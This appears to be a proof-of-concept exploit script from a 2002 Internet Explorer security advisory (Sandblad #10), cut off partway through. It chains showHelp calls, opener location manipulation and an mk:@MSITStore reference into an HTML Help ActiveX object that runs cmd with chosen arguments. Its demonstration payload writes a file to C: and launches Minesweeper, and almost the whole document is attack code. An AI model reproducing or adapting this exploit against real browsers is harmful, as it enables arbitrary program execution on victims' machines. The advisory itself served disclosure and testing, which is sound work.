The following script demonstrates program execution with parameters:
<script>
// "How to execute programs with parameters in IE", 2002-11-06
// Sandblad advisory #10, Andreas Sandblad, sandblad@acc.umu.se
prog = 'cmd';
args = '/k echo You are vulnerable (Sandblad #10) & '+
'echo Sandblad #10 > c:/vulnerable.txt & winmine';

if (!location.hash) {
showHelp(location+"#1");
showHelp("iexplore.chm");
blur();
}
else if (location.hash == "#1")
open(location+"2").blur();
else {
f = opener.location.assign;
opener.location="res:";
f("javascript:location.replace('mk:@MSITStore:C:')");
setTimeout('run()',1000);
}
function run() {
f("javascript:document.write('<object id=c1 classid=clsid:adb"+
"880a6-d8ff-11cf-9377-00aa003b7a11><param name=Command value"+
"=ShortCut><param name=Item1 value=\","+prog+","+args+"\"></"+
"object><object id=c2 classid=clsid:adb880a6-d8ff-11cf-9377"+
